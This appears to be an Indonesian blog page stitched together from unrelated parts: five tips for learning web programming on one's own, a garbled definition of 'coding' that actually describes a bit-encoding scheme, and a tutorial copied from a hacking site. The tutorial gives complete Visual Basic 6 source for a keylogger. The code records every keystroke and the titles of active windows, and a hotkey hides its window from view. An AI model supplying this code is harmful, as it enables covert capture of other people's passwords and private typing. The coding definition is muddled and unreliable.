5 Tips Belajar Coding Otodidak (Web Programming)

Kemarin waktu ikut dollar ngepet, ada yg bertanya tentang bagaimana caranya belajar pemrograman..Karena saya belajar pemrograman cuma otodidak, lha wong kuliah di ekonomi manajemen, tapi belajarnya malah coding PHP ..saya cuma bisa menjawab pengalamannya saya saja.
Ini beberapa tips dari saya untuk belajar pemrograman (web programming):

1. Ambil contoh program jadi, kemudian hilangkan beberapa fungsi/kode2. Hasilnya? Kemungkinan besar error!! Error inilah yang diharapkan. Dari error ini kita bisa mengerti arti dari kode-kode tersebut. Menurut saya, kita tidak mungkin kesulitan belajar klo cuma dari program/script jadi tanpa mengerti dulu arti kode-kode. Cara satu-satunya agar tahu kode-kode cuma dari error inilah. Dan saya jamin kalau kita serius, kita bisa mendapat banyak ilmu dari error ini, dengan catatan kita juga harus bisa memperbaiki dunk..
2. CMS (Content Management System). Jaman sekarang semua orang kemungkinan besar sudah tahu mengenai CMS, atau bahkan telah memakai salah satu dari sekian banyak CMS. Kalau kita memang niat untuk belajar mengenai web programming, CMS adalah rujukan terbaik. Otak-atiklah CMS, rusak gpp (baca item no.1), yang penting kita bisa mengerti cara bikin website (pemrograman webstie) dari CMS tersebut.
3. Buku. Nah kalau yang ini harus mau mengeluarkan ‘sedikit’ modal untuk belajar dan kayaknya gak perlu penjelasan lebih lanjut lagi mengenai ini .
4. Googling. Internet adalah sumber ilmu terbesar di dunia saat ini .
5. Malu bertanya sesat di jalan. Banyak-banyaklah bertanya kepada yang udah ‘jagoan’. Untuk tips ini, saya ada sedikit saran –> jangan malu bertanya tetapi harus siap dimalu-maluin. Kenapa? Mending lakuin aja dulu, ntar juga pasti ngerasain apa itu yang saya sebut siap dimalu-maluin . Intinya butuh mental .

5 tips ini saya dapat hanya dari pengalaman saya saja dan semuanya sudah terbukti . Ada tips lain? Dibagi-bagi dunk ilmunya

Pengertian Coding

Sebuah metode pengkodean data yang digunakan dalam komunikasi misalnya, pada beberapa daerah yang menggabungkan kedua jaringan data dan sinyal waktu di dalam sungai yang ditransmisikan bit.Data nilai setiap bit yang ditunjukkan pada paruh pertama dari periode bit (waktu yang diperlukan untuk menentukan bit) oleh negara sinyal (tinggi selama 1, rendah untuk 0); suatu transisi menuju negara yang berlawanan di tengah bit periode waktu bertindak sebagai sinyal .

Cara membuat key logger dengan Visual Basic

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE
   
   
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
5. Copas seluruh Code di bawah ini :
   Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
   Private Declare Function GetForegroundWindow Lib “user32″ () As Long
   Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
   Private hForegroundWnd As Long
   Private backs As BooleanPrivate Sub Command1_Click()
   Timer1.Enabled = True
   End SubPrivate Sub Command2_Click()
   Timer1.Enabled = False
   End SubPrivate Sub Command3_Click()
   backs = True
   End SubPrivate Sub Command4_Click()
   backs = False
   End SubPrivate Sub Form_Load()
   backs = True
   End SubPrivate Sub Label1_Click()
   End Sub
   Private Sub Label4_Click()
   End Sub
   Private Sub Label6_Click()
   Timer1.Enabled = True
   End Sub
   Private Sub Label7_Click()
   Timer1.Enabled = False
   End Sub
   Private Sub Label8_Click()
   backs = True
   End Sub
   Private Sub Label9_Click()
   backs = False
   End Sub
   Private Sub Text1_Change()
   Text1.SelStart = 0
   Text1.SelLength = Len(Text1.Text)
   End Sub
   Private Sub Timer1_Timer()
   Dim x, x2, i, t As Integer
   Dim win As Long
   Dim Title As String * 1000
   win = GetForegroundWindow()
   If (win = hForegroundWnd) Then
   GoTo Keylogger
   Else
   hForegroundWnd = GetForegroundWindow()
   Title = “”
   GetWindowText hForegroundWnd, Title, 1000
   Select Case Asc(Title)
   Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
   Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
   Text1.Text = Text1.Text & " ]” & vbCrLf
   End Select
   End If
   Exit Sub
   Keylogger:
   For i = 65 To 90
   x = GetAsyncKeyState(i)
   x2 = GetAsyncKeyState(16)
   If x = -32767 Then
   If x2 = -32768 Then
   Text1.Text = Text1.Text & Chr(i)
   Else: Text1.Text = Text1.Text & Chr(i + 32)
   End If
   End If
   Next
   For i = 8 To 222
   If i = 65 Then i = 91
   x = GetAsyncKeyState(i)
   x2 = GetAsyncKeyState(16)
   If x = -32767 Then
   Select Case i
   Case 48
   Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
   Case 49
   Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
   Case 50
   Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
   Case 51
   Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
   Case 52
   Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
   Case 53
   Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
   Case 54
   Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
   Case 55
   Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
   Case 56
   Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
   Case 57
   Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
   Case 112: Text1.Text = Text1.Text & ” F1 “
   Case 113: Text1.Text = Text1.Text & ” F2 “
   Case 114: Text1.Text = Text1.Text & ” F3 “
   Case 115: Text1.Text = Text1.Text & ” F4 “
   Case 116: Text1.Text = Text1.Text & ” F5 “
   Case 117: Text1.Text = Text1.Text & ” F6 “
   Case 118: Text1.Text = Text1.Text & ” F7 “
   Case 119: Text1.Text = Text1.Text & ” F8 “
   Case 120: Text1.Text = Text1.Text & ” F9 “
   Case 121: Text1.Text = Text1.Text & ” F10 “
   Case 122: Text1.Text = Text1.Text & ” F11 “
   Case 123: Text1.Text = Text1.Text & ” F12 “
   Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
   Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
   Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
   Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
   Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
   Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
   Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
   Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
   Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
   Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
   Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
   Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
   Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
   Case 13: Text1.Text = Text1.Text & vbCrLf
   Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
   Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
   Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
   Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
   Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
   Case 32: Text1.Text = Text1.Text & ” “
   Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
   Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
   Case 35: Text1.Text = Text1.Text & ” [ End ] “
   Case 36: Text1.Text = Text1.Text & ” [ Home ] “
   Case 37: Text1.Text = Text1.Text & ” [ Left ] “
   Case 38: Text1.Text = Text1.Text & ” [ Up ] “
   Case 39: Text1.Text = Text1.Text & ” [ Right ] “
   Case 40: Text1.Text = Text1.Text & ” [ Down ] “
   Case 41: Text1.Text = Text1.Text & ” [ Select ] “
   Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
   Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
   Case 46: Text1.Text = Text1.Text & ” [ Del ] “
   Case 47: Text1.Text = Text1.Text & ” [ Help ] “
   Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
   End Select
   End If
   Next
   End Sub
   Private Sub Timer2_Timer()
   Dim a, b, x As Long
   a = GetAsyncKeyState(120)
   b = GetAsyncKeyState(121)
   x = GetAsyncKeyState(16)
   If a = -32767 And x = -32768 Then Me.Hide
   If b = -32767 And x = -32768 Then Me.Show
   End Sub
6. Jalankan dengan menekan tombol F5
7. Live demo bisa di download disini :
   

Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Sumber : www.binushacker.net